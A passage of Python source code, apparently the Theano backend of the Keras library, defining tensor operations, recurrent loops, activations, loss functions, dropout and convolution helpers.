    # False = test, True = train
    return _LEARNING_PHASE


def set_learning_phase(value):
    global _LEARNING_PHASE
    if value not in {0, 1}:
        raise ValueError('Expected learning phase to be '
                         '0 or 1.')
    _LEARNING_PHASE = value


# VARIABLE MANIPULATION

def variable(value, dtype=_FLOATX, name=None):
    '''Instantiate a tensor variable.
    '''
    value = np.asarray(value, dtype=dtype)
    return theano.shared(value=value, name=name, strict=False)


def placeholder(shape=None, ndim=None, dtype=_FLOATX, name=None):
    '''Instantiate an input data placeholder variable.
    '''
    if shape is None and ndim is None:
        raise Exception('Specify either a shape or ndim value.')
    if shape is not None:
        ndim = len(shape)
    else:
        shape = tuple([None for _ in range(ndim)])

    broadcast = (False,) * ndim
    x = T.TensorType(dtype, broadcast)(name)
    x._keras_shape = shape
    x._uses_learning_phase = False
    return x


def shape(x):
    '''Return the shape of a tensor.

    Warning: type returned will be different for
    Theano backend (Theano tensor type) and TF backend (TF TensorShape).
    '''
    return x.shape


def ndim(x):
    return x.ndim


def dtype(x):
    return x.dtype


def eval(x):
    '''Run a graph.
    '''
    return x.eval()


def zeros(shape, dtype=_FLOATX, name=None):
    '''Instantiate an all-zeros variable.
    '''
    return variable(np.zeros(shape), dtype, name)


def ones(shape, dtype=_FLOATX, name=None):
    '''Instantiate an all-ones variable.
    '''
    return variable(np.ones(shape), dtype, name)


def eye(size, dtype=_FLOATX, name=None):
    '''Instantiate an identity matrix.
    '''
    return variable(np.eye(size), dtype, name)


def ones_like(x):
    return T.ones_like(x)


def zeros_like(x):
    return T.zeros_like(x)


def random_uniform_variable(shape, low, high, dtype=_FLOATX, name=None):
    return variable(np.random.uniform(low=low, high=high, size=shape),
                    dtype=dtype, name=name)


def random_normal_variable(shape, mean, scale, dtype=_FLOATX, name=None):
    return variable(np.random.normal(loc=0.0, scale=scale, size=shape),
                    dtype=dtype, name=name)


def count_params(x):
    '''Return number of scalars in a tensor.

    Return: numpy integer.
    '''
    return np.prod(x.shape.eval())


def cast(x, dtype):
    return T.cast(x, dtype)


# UPDATES OPS


def update(x, new_x):
    return (x, new_x)


def update_add(x, increment):
    return (x, x + increment)


def update_sub(x, decrement):
    return (x, x - decrement)


def moving_average_update(variable, value, momentum):
    return (variable, variable * momentum + value * (1. - momentum))


# LINEAR ALGEBRA

'''
Assumed overridden:
+, -, /, *, +=, -=, *=, /=
'''


def dot(x, y):
    return T.dot(x, y)


def batch_dot(x, y, axes=None):
    '''Batchwise dot product.

    batch_dot results in a tensor with less dimensions than the input.
    If the number of dimensions is reduced to 1, we use `expand_dims` to
    make sure that ndim is at least 2.

    # Arguments
        x, y: tensors with ndim >= 2
        axes: list (or single) int with target dimensions

    # Returns
        A tensor with shape equal to the concatenation of x's shape
        (less the dimension that was summed over) and y's shape
        (less the batch dimension and the dimension that was summed over).
        If the final rank is 1, we reshape it to (batch_size, 1).

    # Examples
        Assume x = [[1, 2], [3, 4]]   and y = [[5, 6], [7, 8]]
        batch_dot(x, y, axes=1) = [[17, 53]] which is the main diagonal
        of x.dot(y.T), although we never have to calculate the off-diagonal
        elements.

        Shape inference:
        Let x's shape be (100, 20) and y's shape be (100, 30, 20).
        If dot_axes is (1, 2), to find the output shape of resultant tensor,
            loop through each dimension in x's shape and y's shape:
        x.shape[0] : 100 : append to output shape
        x.shape[1] : 20 : do not append to output shape,
            dimension 1 of x has been summed over. (dot_axes[0] = 1)
        y.shape[0] : 100 : do not append to output shape,
            always ignore first dimension of y
        y.shape[1] : 30 : append to output shape
        y.shape[2] : 20 : do not append to output shape,
            dimension 2 of y has been summed over. (dot_axes[1] = 2)

        output_shape = (100, 30)
    '''
    if type(axes) == int:
        axes = (axes, axes)
    if axes is None:
        # behaves like tf.batch_matmul as default
        axes = [x.ndim - 1, y.ndim - 2]
    out = T.batched_tensordot(x, y, axes=axes)
    if ndim(out) == 1:
        out = expand_dims(out, 1)
    return out


def transpose(x):
    return T.transpose(x)


def gather(reference, indices):
    '''reference: a tensor.
    indices: an int tensor of indices.

    Return: a tensor of same type as reference.
    '''
    return reference[indices]


# ELEMENT-WISE OPERATIONS


def max(x, axis=None, keepdims=False):
    return T.max(x, axis=axis, keepdims=keepdims)


def min(x, axis=None, keepdims=False):
    return T.min(x, axis=axis, keepdims=keepdims)


def sum(x, axis=None, keepdims=False):
    '''Sum of the values in a tensor, alongside the specified axis.
    '''
    return T.sum(x, axis=axis, keepdims=keepdims)


def prod(x, axis=None, keepdims=False):
    '''Multiply the values in a tensor, alongside the specified axis.
    '''
    return T.prod(x, axis=axis, keepdims=keepdims)


def mean(x, axis=None, keepdims=False):
    dtype = None
    if 'int' in x.dtype:
        dtype = _FLOATX
    return T.mean(x, axis=axis, keepdims=keepdims, dtype=dtype)


def std(x, axis=None, keepdims=False):
    return T.std(x, axis=axis, keepdims=keepdims)


def var(x, axis=None, keepdims=False):
    return T.var(x, axis=axis, keepdims=keepdims)


def any(x, axis=None, keepdims=False):
    '''Bitwise reduction (logical OR).
    '''
    return T.any(x, axis=axis, keepdims=keepdims)


def all(x, axis=None, keepdims=False):
    '''Bitwise reduction (logical AND).
    '''
    return T.all(x, axis=axis, keepdims=keepdims)


def argmax(x, axis=-1):
    return T.argmax(x, axis=axis, keepdims=False)


def argmin(x, axis=-1):
    return T.argmin(x, axis=axis, keepdims=False)


def square(x):
    return T.sqr(x)


def abs(x):
    return T.abs_(x)


def sqrt(x):
    x = T.clip(x, 0., np.inf)
    return T.sqrt(x)


def exp(x):
    return T.exp(x)


def log(x):
    return T.log(x)


def round(x):
    return T.round(x)


def sign(x):
    return T.sgn(x)


def pow(x, a):
    return T.pow(x, a)


def clip(x, min_value, max_value):
    if max_value < min_value:
        max_value = min_value
    return T.clip(x, min_value, max_value)


def equal(x, y):
    return T.eq(x, y)


def not_equal(x, y):
    return T.neq(x, y)


def greater(x, y):
    return T.gt(x, y)


def greater_equal(x, y):
    return T.ge(x, y)


def lesser(x, y):
    return T.lt(x, y)


def lesser_equal(x, y):
    return T.le(x, y)


def maximum(x, y):
    return T.maximum(x, y)


def minimum(x, y):
    return T.minimum(x, y)


def sin(x):
    return T.sin(x)


def cos(x):
    return T.cos(x)


def normalize_batch_in_training(x, gamma, beta,
                                reduction_axes, epsilon=0.0001):
    '''Compute mean and std for batch then apply batch_normalization on batch.
    '''
    var = x.var(reduction_axes)
    mean = x.mean(reduction_axes)

    target_shape = []
    for axis in range(ndim(x)):
        if axis in reduction_axes:
            target_shape.append(1)
        else:
            target_shape.append(x.shape[axis])
    target_shape = T.stack(*target_shape)

    broadcast_mean = T.reshape(mean, target_shape)
    broadcast_var = T.reshape(var, target_shape)
    broadcast_beta = T.reshape(beta, target_shape)
    broadcast_gamma = T.reshape(gamma, target_shape)
    normed = batch_normalization(x, broadcast_mean, broadcast_var,
                                 broadcast_beta, broadcast_gamma,
                                 epsilon)
    return normed, mean, var


def batch_normalization(x, mean, var, beta, gamma, epsilon=0.0001):
    '''Apply batch normalization on x given mean, var, beta and gamma.
    '''
    if theano.config.device.startswith('cuda') or theano.config.device.startswith('gpu'):
        try:
            return theano.sandbox.cuda.dnn.dnn_batch_normalization_test(x, gamma, beta, mean, var,
                                                                        'spatial', epsilon)
        except AttributeError:
            pass
    return T.nnet.bn.batch_normalization(x, gamma, beta, mean, sqrt(var + epsilon),
                                         mode='high_mem')


# SHAPE OPERATIONS

def concatenate(tensors, axis=-1):
    return T.concatenate(tensors, axis=axis)


def reshape(x, shape):
    return T.reshape(x, shape)


def permute_dimensions(x, pattern):
    '''Transpose dimensions.

    pattern should be a tuple or list of
    dimension indices, e.g. [0, 2, 1].
    '''
    pattern = tuple(pattern)
    return x.dimshuffle(pattern)


def repeat_elements(x, rep, axis):
    '''Repeat the elements of a tensor along an axis, like np.repeat.

    If x has shape (s1, s2, s3) and axis=1, the output
    will have shape (s1, s2 * rep, s3).
    '''
    return T.repeat(x, rep, axis=axis)


def resize_images(X, height_factor, width_factor, dim_ordering):
    '''Resize the images contained in a 4D tensor of shape
    - [batch, channels, height, width] (for 'th' dim_ordering)
    - [batch, height, width, channels] (for 'tf' dim_ordering)
    by a factor of (height_factor, width_factor). Both factors should be
    positive integers.
    '''
    if dim_ordering == 'th':
        output = repeat_elements(X, height_factor, axis=2)
        output = repeat_elements(output, width_factor, axis=3)
        return output
    elif dim_ordering == 'tf':
        output = repeat_elements(X, height_factor, axis=1)
        output = repeat_elements(output, width_factor, axis=2)
        return output
    else:
        raise Exception('Invalid dim_ordering: ' + dim_ordering)


def resize_volumes(X, depth_factor, height_factor, width_factor, dim_ordering):
    '''Resize the volume contained in a 5D tensor of shape
    - [batch, channels, depth, height, width] (for 'th' dim_ordering)
    - [batch, depth, height, width, channels] (for 'tf' dim_ordering)
    by a factor of (depth_factor, height_factor, width_factor).
    Both factors should be positive integers.
    '''
    if dim_ordering == 'th':
        output = repeat_elements(X, depth_factor, axis=2)
        output = repeat_elements(output, height_factor, axis=3)
        output = repeat_elements(output, width_factor, axis=4)
        return output
    elif dim_ordering == 'tf':
        output = repeat_elements(X, depth_factor, axis=1)
        output = repeat_elements(output, height_factor, axis=2)
        output = repeat_elements(output, width_factor, axis=3)
        return output
    else:
        raise Exception('Invalid dim_ordering: ' + dim_ordering)


def repeat(x, n):
    '''Repeat a 2D tensor.

    If x has shape (samples, dim) and n=2,
    the output will have shape (samples, 2, dim).
    '''
    assert x.ndim == 2
    x = x.dimshuffle((0, 'x', 1))
    return T.extra_ops.repeat(x, n, axis=1)


def tile(x, n):
    return T.tile(x, n)


def flatten(x):
    return T.flatten(x)


def batch_flatten(x):
    '''Turn a n-D tensor into a 2D tensor where
    the first dimension is conserved.
    '''
    x = T.reshape(x, (x.shape[0], T.prod(x.shape) // x.shape[0]))
    return x


def expand_dims(x, dim=-1):
    '''Add a 1-sized dimension at index "dim".
    '''
    pattern = [i for i in range(x.type.ndim)]
    if dim < 0:
        if x.type.ndim == 0:
            dim = 0
        else:
            dim = dim % x.type.ndim + 1
    pattern.insert(dim, 'x')
    return x.dimshuffle(pattern)


def squeeze(x, axis):
    '''Remove a 1-dimension from the tensor at index "axis".
    '''
    shape = list(x.shape)
    shape.pop(axis)
    return T.reshape(x, tuple(shape))


def temporal_padding(x, padding=1):
    '''Pad the middle dimension of a 3D tensor
    with "padding" zeros left and right.

    Apologies for the inane API, but Theano makes this
    really hard.
    '''
    input_shape = x.shape
    output_shape = (input_shape[0],
                    input_shape[1] + 2 * padding,
                    input_shape[2])
    output = T.zeros(output_shape)
    return T.set_subtensor(output[:, padding:x.shape[1] + padding, :], x)


def spatial_2d_padding(x, padding=(1, 1), dim_ordering='th'):
    '''Pad the 2nd and 3rd dimensions of a 4D tensor
    with "padding[0]" and "padding[1]" (resp.) zeros left and right.
    '''
    input_shape = x.shape
    if dim_ordering == 'th':
        output_shape = (input_shape[0],
                        input_shape[1],
                        input_shape[2] + 2 * padding[0],
                        input_shape[3] + 2 * padding[1])
        output = T.zeros(output_shape)
        indices = (slice(None),
                   slice(None),
                   slice(padding[0], input_shape[2] + padding[0]),
                   slice(padding[1], input_shape[3] + padding[1]))

    elif dim_ordering == 'tf':
        output_shape = (input_shape[0],
                        input_shape[1] + 2 * padding[0],
                        input_shape[2] + 2 * padding[1],
                        input_shape[3])
        output = T.zeros(output_shape)
        indices = (slice(None),
                   slice(padding[0], input_shape[1] + padding[0]),
                   slice(padding[1], input_shape[2] + padding[1]),
                   slice(None))
    else:
        raise Exception('Invalid dim_ordering: ' + dim_ordering)
    return T.set_subtensor(output[indices], x)


def spatial_3d_padding(x, padding=(1, 1, 1), dim_ordering='th'):
    '''Pad the 2nd, 3rd and 4th dimensions of a 5D tensor
    with "padding[0]", "padding[1]" and "padding[2]" (resp.) zeros left and right.
    '''
    input_shape = x.shape
    if dim_ordering == 'th':
        output_shape = (input_shape[0],
                        input_shape[1],
                        input_shape[2] + 2 * padding[0],
                        input_shape[3] + 2 * padding[1],
                        input_shape[4] + 2 * padding[2])
        output = T.zeros(output_shape)
        indices = (slice(None),
                   slice(None),
                   slice(padding[0], input_shape[2] + padding[0]),
                   slice(padding[1], input_shape[3] + padding[1]),
                   slice(padding[2], input_shape[4] + padding[2]))

    elif dim_ordering == 'tf':
        output_shape = (input_shape[0],
                        input_shape[1] + 2 * padding[0],
                        input_shape[2] + 2 * padding[1],
                        input_shape[3] + 2 * padding[2],
                        input_shape[4])
        output = T.zeros(output_shape)
        indices = (slice(None),
                   slice(padding[0], input_shape[1] + padding[0]),
                   slice(padding[1], input_shape[2] + padding[1]),
                   slice(padding[2], input_shape[3] + padding[2]),
                   slice(None))
    else:
        raise Exception('Invalid dim_ordering: ' + dim_ordering)
    return T.set_subtensor(output[indices], x)


def pack(x):
    return T.stack(*x)


def one_hot(indices, nb_classes):
    '''Input: nD integer tensor of shape (batch_size, dim1, dim2, ... dim(n-1))
    Output: (n + 1)D one hot representation of the input
    with shape (batch_size, dim1, dim2, ... dim(n-1), nb_classes)
    '''
    input_shape = tuple((indices.shape[i] for i in range(indices.ndim)))
    indices = T.flatten(indices)
    oh = T.extra_ops.to_one_hot(indices, nb_classes)
    oh = T.reshape(oh, input_shape + (nb_classes,))
    return oh


def reverse(x, axes):
    '''Reverse a tensor along the the specified axes
    '''
    if type(axes) == int:
        axes = [axes]
    slices = [slice(None, None, -1) if i in axes else slice(None, None, None) for i in range(x.ndim)]
    return x[slices]


# VALUE MANIPULATION


def get_value(x):
    if not hasattr(x, 'get_value'):
        raise Exception("'get_value() can only be called on a variable. " +
                        "If you have an expression instead, use eval().")
    return x.get_value()


def batch_get_value(xs):
    '''Returns the value of more than one tensor variable,
    as a list of Numpy arrays.
    '''
    return [get_value(x) for x in xs]


def set_value(x, value):
    x.set_value(np.asarray(value, dtype=x.dtype))


def batch_set_value(tuples):
    for x, value in tuples:
        x.set_value(np.asarray(value, dtype=x.dtype))


def print_tensor(x, message=''):
    '''Print the message and the tensor when evaluated and return the same
    tensor.
    '''
    p_op = Print(message)
    return p_op(x)


# GRAPH MANIPULATION

class Function(object):

    def __init__(self, inputs, outputs, updates=[], **kwargs):
        self.function = theano.function(inputs, outputs, updates=updates,
                                        allow_input_downcast=True,
                                        on_unused_input='ignore',
                                        **kwargs)

    def __call__(self, inputs):
        assert type(inputs) in {list, tuple}
        return self.function(*inputs)


def function(inputs, outputs, updates=[], **kwargs):
    if len(kwargs) > 0:
        function_args = inspect.getargspec(theano.function)[0]
        for key in kwargs.keys():
            if key not in function_args:
                msg = "Invalid argument '%s' passed to K.function" % key
                raise ValueError(msg)
    return Function(inputs, outputs, updates=updates, **kwargs)


def gradients(loss, variables):
    return T.grad(loss, variables)


def stop_gradient(variables):
    '''Returns `variables` but with zero gradient with respect to every other
    variables.
    '''
    return theano.gradient.disconnected_grad(variables)


# CONTROL FLOW

def rnn(step_function, inputs, initial_states,
        go_backwards=False, mask=None, constants=None,
        unroll=False, input_length=None):
    '''Iterates over the time dimension of a tensor.

    # Arguments
        inputs: tensor of temporal data of shape (samples, time, ...)
            (at least 3D).
        step_function:
            Parameters:
                input: tensor with shape (samples, ...) (no time dimension),
                    representing input for the batch of samples at a certain
                    time step.
                states: list of tensors.
            Returns:
                output: tensor with shape (samples, ...) (no time dimension),
                new_states: list of tensors, same length and shapes
                    as 'states'.
        initial_states: tensor with shape (samples, ...) (no time dimension),
            containing the initial values for the states used in
            the step function.
        go_backwards: boolean. If True, do the iteration over
            the time dimension in reverse order.
        mask: binary tensor with shape (samples, time),
            with a zero for every element that is masked.
        constants: a list of constant values passed at each step.
        unroll: whether to unroll the RNN or to use a symbolic loop (`scan`).
        input_length: must be specified if using `unroll`.

    # Returns
        A tuple (last_output, outputs, new_states).
            last_output: the latest output of the rnn, of shape (samples, ...)
            outputs: tensor with shape (samples, time, ...) where each
                entry outputs[s, t] is the output of the step function
                at time t for sample s.
            new_states: list of tensors, latest states returned by
                the step function, of shape (samples, ...).
    '''
    ndim = inputs.ndim
    assert ndim >= 3, 'Input should be at least 3D.'

    if unroll:
        if input_length is None:
            raise Exception('When specifying `unroll=True`, an `input_length` '
                            'must be provided to `rnn`.')

    axes = [1, 0] + list(range(2, ndim))
    inputs = inputs.dimshuffle(axes)

    if constants is None:
        constants = []

    if mask is not None:
        if mask.ndim == ndim-1:
            mask = expand_dims(mask)
        assert mask.ndim == ndim
        mask = mask.dimshuffle(axes)

        if unroll:
            indices = list(range(input_length))
            if go_backwards:
                indices = indices[::-1]

            successive_outputs = []
            successive_states = []
            states = initial_states
            for i in indices:
                output, new_states = step_function(inputs[i], states + constants)

                if len(successive_outputs) == 0:
                    prev_output = zeros_like(output)
                else:
                    prev_output = successive_outputs[-1]

                output = T.switch(mask[i], output, prev_output)
                kept_states = []
                for state, new_state in zip(states, new_states):
                    kept_states.append(T.switch(mask[i], new_state, state))
                states = kept_states

                successive_outputs.append(output)
                successive_states.append(states)

            outputs = T.stack(*successive_outputs)
            states = []
            for i in range(len(successive_states[-1])):
                states.append(T.stack(*[states_at_step[i] for states_at_step in successive_states]))
        else:
            # build an all-zero tensor of shape (samples, output_dim)
            initial_output = step_function(inputs[0], initial_states + constants)[0] * 0
            # Theano gets confused by broadcasting patterns in the scan op
            initial_output = T.unbroadcast(initial_output, 0, 1)

            def _step(input, mask, output_tm1, *states):
                output, new_states = step_function(input, states)
                # output previous output if masked.
                output = T.switch(mask, output, output_tm1)
                return_states = []
                for state, new_state in zip(states, new_states):
                    return_states.append(T.switch(mask, new_state, state))
                return [output] + return_states

            results, _ = theano.scan(
                _step,
                sequences=[inputs, mask],
                outputs_info=[initial_output] + initial_states,
                non_sequences=constants,
                go_backwards=go_backwards)

            # deal with Theano API inconsistency
            if type(results) is list:
                outputs = results[0]
                states = results[1:]
            else:
                outputs = results
                states = []
    else:
        if unroll:
            indices = list(range(input_length))
            if go_backwards:
                indices = indices[::-1]

            successive_outputs = []
            successive_states = []
            states = initial_states
            for i in indices:
                output, states = step_function(inputs[i], states + constants)
                successive_outputs.append(output)
                successive_states.append(states)
            outputs = T.stack(*successive_outputs)
            states = []
            for i in range(len(successive_states[-1])):
                states.append(T.stack(*[states_at_step[i] for states_at_step in successive_states]))

        else:
            def _step(input, *states):
                output, new_states = step_function(input, states)
                return [output] + new_states

            results, _ = theano.scan(
                _step,
                sequences=inputs,
                outputs_info=[None] + initial_states,
                non_sequences=constants,
                go_backwards=go_backwards)

            # deal with Theano API inconsistency
            if type(results) is list:
                outputs = results[0]
                states = results[1:]
            else:
                outputs = results
                states = []

    outputs = T.squeeze(outputs)
    last_output = outputs[-1]

    axes = [1, 0] + list(range(2, outputs.ndim))
    outputs = outputs.dimshuffle(axes)
    states = [T.squeeze(state[-1]) for state in states]
    return last_output, outputs, states


def switch(condition, then_expression, else_expression):
    '''condition: scalar tensor.
    '''
    return T.switch(condition, then_expression, else_expression)


def in_train_phase(x, alt):
    if _LEARNING_PHASE is 1:
        return x
    elif _LEARNING_PHASE is 0:
        return alt
    x = T.switch(_LEARNING_PHASE, x, alt)
    x._uses_learning_phase = True
    return x


def in_test_phase(x, alt):
    if _LEARNING_PHASE is 1:
        return alt
    elif _LEARNING_PHASE is 0:
        return x
    x = T.switch(_LEARNING_PHASE, alt, x)
    x._uses_learning_phase = True
    return x


# NN OPERATIONS

def relu(x, alpha=0., max_value=None):
    assert hasattr(T.nnet, 'relu'), ('It looks like like your version of '
                                     'Theano is out of date. '
                                     'Install the latest version with:\n'
                                     'pip install git+git://github.com/Theano/Theano.git --upgrade --no-deps')
    x = T.nnet.relu(x, alpha)
    if max_value is not None:
        x = T.minimum(x, max_value)
    return x


def softmax(x):
    return T.nnet.softmax(x)


def softplus(x):
    return T.nnet.softplus(x)


def softsign(x):
    return T_softsign(x)


def categorical_crossentropy(output, target, from_logits=False):
    if from_logits:
        output = T.nnet.softmax(output)
    else:
        # scale preds so that the class probas of each sample sum to 1
        output /= output.sum(axis=-1, keepdims=True)
    # avoid numerical instability with _EPSILON clipping
    output = T.clip(output, _EPSILON, 1.0 - _EPSILON)
    return T.nnet.categorical_crossentropy(output, target)


def sparse_categorical_crossentropy(output, target, from_logits=False):
    target = T.cast(T.flatten(target), 'int32')
    target = T.extra_ops.to_one_hot(target, nb_class=output.shape[-1])
    target = reshape(target, shape(output))
    return categorical_crossentropy(output, target, from_logits)


def binary_crossentropy(output, target, from_logits=False):
    if from_logits:
        output = T.nnet.sigmoid(output)
    # avoid numerical instability with _EPSILON clipping
    output = T.clip(output, _EPSILON, 1.0 - _EPSILON)
    return T.nnet.binary_crossentropy(output, target)


def sigmoid(x):
    return T.nnet.sigmoid(x)


def hard_sigmoid(x):
    return T.nnet.hard_sigmoid(x)


def tanh(x):
    return T.tanh(x)


def dropout(x, level, noise_shape=None, seed=None):
    '''Sets entries in `x` to zero at random,
    while scaling the entire tensor.

    # Arguments
        x: tensor
        level: fraction of the entries in the tensor
            that will be set to 0.
        noise_shape: shape for randomly generated keep/drop flags,
            must be broadcastable to the shape of `x`
        seed: random seed to ensure determinism.
    '''
    if level < 0. or level >= 1:
        raise Exception('Dropout level must be in interval [0, 1[.')
    if seed is None:
        seed = np.random.randint(1, 10e6)

    rng = RandomStreams(seed=seed)
    retain_prob = 1. - level

    if noise_shape is None:
        random_tensor = rng.binomial(x.shape, p=retain_prob, dtype=x.dtype)
    else:
        random_tensor = rng.binomial(noise_shape, p=retain_prob, dtype=x.dtype)
        random_tensor = T.patternbroadcast(random_tensor, [dim == 1 for dim in noise_shape])

    x *= random_tensor
    x /= retain_prob
    return x


def l2_normalize(x, axis):
    norm = T.sqrt(T.sum(T.square(x), axis=axis, keepdims=True))
    return x / norm


# CONVOLUTIONS

def _preprocess_conv2d_input(x, dim_ordering):
    if dim_ordering == 'tf':
        # TF uses the last dimension as channel dimension,
        # instead of the 2nd one.
        # TH input shape: (samples, input_depth, rows, cols)
        # TF input shape: (samples, rows, cols, input_depth)
        x = x.dimshuffle((0, 3, 1, 2))
    return x


def _preprocess_conv2d_kernel(kernel, dim_ordering):
    if dim_ordering == 'tf':
        # TF uses the last dimension as channel dimension,
        # instead of the 2nd one.
        # TH kernel shape: (depth, input_depth, rows, cols)
        # TF kernel shape: (rows, cols, input_depth, depth)
        kernel = kernel.dimshuffle((3, 2, 0, 1))
    return kernel


def _preprocess_border_mode(border_mode):
    if border_mode == 'same':
        th_border_mode = 'half'
    elif border_mode == 'valid':
        th_border_mode = 'valid'
    else:
        raise Exception('Border mode not supported: ' + str(border_mode))
    return th_border_mode


def _preprocess_image_shape(dim_ordering, image_shape):
    # Theano might not accept long type
    def int_or_none(value):
        try:
            return int(value)
        except TypeError:
            return None
    if dim_ordering == 'tf':
        if image_shape:
            image_shape = (image_shape[0], image_shape[3],
                           image_shape[1], image_shape[2])
    if image_shape is not None:
        image_shape = tuple(int_or_none(v) for v in image_shape)
    return image_shape


def _preprocess_filter_shape(dim_ordering, filter_shape):
    # Theano might not accept long type
    def int_or_none(value):
        try:
            return int(value)
        except TypeError:
            return None
    if dim_ordering == 'tf':
        if filter_shape:
            filter_shape = (filter_shape[3], filter_shape[2],
                            filter_shape[0], filter_shape[1])
    if filter_shape is not None:
        filter_shape = tuple(int_or_none(v) for v in filter_shape)
    return filter_shape


def _postprocess_conv2d_output(conv_out, x, border_mode, np_kernel, strides, dim_ordering):
    if border_mode == 'same':
        if np_kernel.shape[2] % 2 == 0:
            conv_out = conv_out[:, :, :(x.shape[2] + strides[0] - 1) // strides[0], :]
        if np_kernel.shape[3] % 2 == 0:
            conv_out = conv_out[:, :, :, :(x.shape[3] + strides[1] - 1) // strides[1]]
    if dim_ordering == 'tf':
        conv_out = conv_out.dimshuffle((0, 2, 3, 1))
    return conv_out


def conv2d(x, kernel, strides=(1, 1), border_mode='valid',
           dim_ordering=_IMAGE_DIM_ORDERING, image_shape=None,
           filter_shape=None, filter_dilation=(1, 1)):
    '''2D convolution.

    # Arguments
        kernel: kernel tensor.
        strides: strides tuple.
        border_mode: string, "same" or "valid".
        dim_ordering: "tf" or "th".
            Whether to use Theano or TensorFlow dimension ordering
        in inputs/kernels/ouputs.
    '''
    if dim_ordering not in {'th', 'tf'}:
        raise Exception('Unknown dim_ordering ' + str(dim_ordering))

    x = _preprocess_conv2d_input(x, dim_ordering)
    kernel = _preprocess_conv2d_kernel(kernel, dim_ordering)
    th_border_mode = _preprocess_border_mode(border_mode)
    np_kernel = kernel.eval()
    image_shape = _preprocess_image_shape(dim_ordering, image_shape)
    filter_shape = _preprocess_filter_shape(dim_ordering, filter_shape)

    # TODO: remove the if statement when theano with no filter dilation is deprecated.
    if filter_dilation == (1, 1):
        conv_out = T.nnet.conv2d(x, kernel,
                                 border_mode=th_border_mode,
                                 subsample=strides,
                                 input_shape=image_shape,
                                 filter_shape=filter_shape)
    else:
        conv_out = T.nnet.conv2d(x, kernel,
                                 border_mode=th_border_mode,
                                 subsample=strides,
                                 input_shape=image_shape,
                                 filter_shape=filter_shape,
                                 filter_dilation=filter_dilation)

    conv_out = _postprocess_conv2d_output(conv_out, x, border_mode, np_kernel,
                                          strides, dim_ordering)
    return conv_out


def deconv2d(x, kernel, output_shape, strides=(1, 1),
             border_mode='valid',
             dim_ordering=_IMAGE_DIM_ORDERING,
             image_shape=None, filter_shape=None):
    '''2D deconvolution (transposed convolution).

    # Arguments
        kernel: kernel tensor.
        output_shape: desired dimensions of output.
        strides: strides tuple.
        border_mode: string, "same" or "valid".
        dim_ordering: "tf" or "th".
            Whether to use Theano or TensorFlow dimension ordering
        in inputs/kernels/ouputs.
    '''
    flip_filters = False
    if dim_ordering not in {'th', 'tf'}:
        raise Exception('Unknown dim_ordering ' + str(dim_ordering))

    x = _preprocess_conv2d_input(x, dim_ordering)
    kernel = _preprocess_conv2d_kernel(kernel, dim_ordering)
    kernel = kernel.dimshuffle((1, 0, 2, 3))
    th_border_mode = _preprocess_border_mode(border_mode)
    np_kernel = kernel.eval()
    filter_shape = _preprocess_filter_shape(dim_ordering, filter_shape)

    op = T.nnet.abstract_conv.AbstractConv2d_gradInputs(imshp=output_shape,
                                                        kshp=filter_shape,
                                                        subsample=strides,
                                                        border_mode=th_border_mode,
                                                        filter_flip=not flip_filters)
    conv_out = op(kernel, x, output_shape[2:])

    conv_out = _postprocess_conv2d_output(conv_out, x, border_mode, np_kernel,
                                          strides, dim_ordering)
    return conv_out


def atrous_conv2d(x, kernel, rate=1,
                  border_mode='valid',
                  dim_ordering=_IMAGE_DIM_ORDERING,
                  image_shape=None, filter_shape=None):
    raise NotImplementedError


def separable_conv2d(x, depthwise_kernel, pointwise_kernel, strides=(1, 1),
                     border_mode='valid', dim_ordering=_IMAGE_DIM_ORDERING):
    raise NotImplementedError


def conv3d(x, kernel, strides=(1, 1, 1),
           border_mode='valid', dim_ordering='th',
           volume_shape=None, filter_shape=None):
    '''
    Run on cuDNN if available.
    border_mode: string, "same" or "valid".
    '''
    if dim_ordering not in {'th', 'tf'}:
        raise Exception('Unknown dim_ordering ' + str(dim_ordering))

    if border_mode not in {'same', 'valid'}:
        raise Exception('Invalid border mode: ' + str(border_mode))

    if dim_ordering == 'tf':
        # TF uses the last dimension as channel dimension,
        # instead of the 2nd one.
        # TH input shape: (samples, input_depth, conv_dim1, conv_dim2, conv_dim3)
        # TF input shape: (samples, conv_dim1, conv_dim2, conv_dim3, input_depth)
        # TH kernel shape: (out_depth, input_depth, kernel_dim1, kernel_dim2, kernel_dim3)
        # TF kernel shape: (kernel_dim1, kernel_dim2, kernel_dim3, input_depth, out_depth)
        x = x.dimshuffle((0, 4, 1, 2, 3))
        kernel = kernel.dimshuffle((4, 3, 0, 1, 2))
        if volume_shape:
            volume_shape = (volume_shape[0], volume_shape[4],
                            volume_shape[1], volume_shape[2], volume_shape[3])
        if filter_shape:
            filter_shape = (filter_shape[4], filter_shape[3],
                            filter_shape[0], filter_shape[1], filter_shape[2])

    if border_mode == 'same':
        assert(strides == (1, 1, 1))
        pad_dim1 = (kernel.shape[2] - 1)
        pad_dim2 = (kernel.shape[3] - 1)
        pad_dim3 = (kernel.shape[4] - 1)
        output_shape = (x.shape[0], x.shape[1],
                        x.shape[2] + pad_dim1,
                        x.shape[3] + pad_dim2,
                        x.shape[4] + pad_dim3)
        output = T.zeros(output_shape)
        indices = (slice(None), slice(None),
                   slice(pad_dim1 // 2, x.shape[2] + pad_dim1 // 2),
                   slice(pad_dim2 // 2, x.shape[3] + pad_dim2 // 2),
                   slice(pad_dim3 // 2, x.shape[4] + pad_dim3 // 2))
        x = T.set_subtensor(output[indices], x)
        border_mode = 'valid'

    border_mode_3d = (border_mode, border_mode, border_mode)
    conv_out = conv3d2d.conv3d(signals=x.dimshuffle(0, 2, 1, 3, 4),
                               filters=kernel.dimshuffle(0, 2, 1, 3, 4),
                               border_mode=border_mode_3d)
    conv_out = conv_out.dimshuffle(0, 2, 1, 3, 4)

    # support strides by manually slicing the output
    if strides != (1, 1, 1):
        conv_out = conv_out[:, :, ::strides[0], ::strides[1], ::strides[2]]

    if dim_ordering == 'tf':
        conv_out = conv_out.dimshuffle((0, 2, 3, 4, 1))

    return conv_out


def pool2d(x, pool_size, strides=(1, 1), border_mode='valid',
           dim_ordering='th', pool_mode='max'):
    if border_mode == 'same':
        w_pad = pool_size[0] - 2 if pool_size[0] % 2 == 1 else pool_size[0] - 1
        h_pad = pool_size[1] - 2 if pool_size[1] % 2 == 1 else pool_size[1] - 1
        padding = (w_pad, h_pad)
    elif border_mode == 'valid':
        padding = (0, 0)
    else:
        raise Exception('Invalid border mode: ' + str(border_mode))

    if dim_ordering not in {'th', 'tf'}:
        raise Exception('Unknown dim_ordering ' + str(dim_ordering))

    if dim_ordering == 'tf':
        x = x.dimshuffle((0, 3, 1, 2))

    if pool_mode == 'max':
